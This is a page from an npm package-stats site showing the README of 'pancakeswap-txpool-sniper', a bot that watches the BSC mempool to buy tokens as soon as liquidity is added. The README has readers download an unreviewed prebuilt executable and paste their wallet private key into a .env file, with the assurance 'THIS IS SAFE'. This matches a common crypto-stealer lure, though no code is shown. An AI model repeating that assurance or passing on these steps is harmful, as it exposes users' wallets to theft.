npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

pancakeswap-txpool-sniper

v0.0.1

Published

This bot is a fork of an existing bot that I was trying to help my group with. After spending hours providing technical support to help them run it, I decided to fork it and update it to make it easier to use. No dependencies, nothing to install. Just dow

Readme

PancakeSwap and BSC txpool/mempool sniper bot

Purpose

This bot is a fork of an existing bot that I was trying to help my group with. After spending hours providing technical support to help them run it, I decided to fork it and update it to make it easier to use. No dependencies, nothing to install. Just download the bot for your operating system, create the ".env" file, and pass in the token you want to snipe in the command line. I have tried my best to make this as simple and easy to do so that anyone can use it without being a computer expert.

What does this bot do? It allows you to compete with other trading bots when buying a token on PancakeSwap. Its faster than traditional bots because it watches the txpool/mempool where transactions are still "pending" on the BSC network. It will watch for when liquidity is added as a pending transaction and immediately submit your order, so that hopefully you get in right after liquidity is added and before everyone else.

It can be used for fair launch projects, if you've missed the whitelist, or the private or public sales and you still want to buy immediately on PancakeSwap pair creation or when liquidity is added. We all know its impossible to compete with bots when buying manually. This bot evens the odds to play with the big boys.

Features

  • Operating with PancakeSwap: Router v2
  • Specify options like gas price, gas limit, BSC node, etc
  • Free

Requirements

NOTHING. No need to install nodejs, modules, edit json or javascript files. HOWEVER, if you want to go the manual route, the source code is in this repository. Knock yourself out, but you are on your own. Don't ask me for help. The whole reason I did this was to avoid being someone else's tech support.

Installation

  • Download the release for your operating system (Windows, macOS, or Linux).
    • Also download the "default.env" file from the same page.
    • THE SNIPER BOT AND THE ".ENV" FILE MUST BE IN THE SAME DIRECTORY
  • On macOS and linux, you may have to make the bot executable chmod +x txPoolSniper-linux or chmod +x txPoolSniper-macos
  • RENAME the "default.env" file to ".env"
  • Open the ".env" file with a text editor
    • For RECIPIENT, paste your BSC address after the equals (=) sign.

    • For PRIVATE_KEY, paste your wallets private key after the equals (=) sign.

      • THIS IS SAFE. It is needed in order to snipe, obviously.
    • OPTIONALLY you can specify a different BSC node to use to snipe with using the BSC_NODE_WSS variable.

      • This can be any public or private node that supports websockets. The default server is "wss://bsc-ws-node.nariox.org:443".
    • OPTIONALLY you can also specify the PURCHASEAMOUNT (in BNB), the GASLIMIT, and the GASPRICE. The default values are already in the ".env" file.

  • Once you are done editing the ".env" file, SAVE IT. You are now ready to snipe.

Usage

Open the command prompt or terminal (depending on your OS) and change to the directory where you saved the bot and the ".env" file.

Required parameters:

  • -t or --token - this is the contract address of the token you're wanting to snipe starting with 0x.

Sample command:

  • txPoolSniper-win.exe -t 0x580de58c1bd593a43dadcf0a739d504621817c05
  • ./txPoolSniper-linux -t 0x580de58c1bd593a43dadcf0a739d504621817c05
  • ./txPoolSniper-macos -t 0x580de58c1bd593a43dadcf0a739d504621817c05

If you wish to use the bot at same time for multiple snipes, simply open another command prompt or terminal. You can run as many as you wish.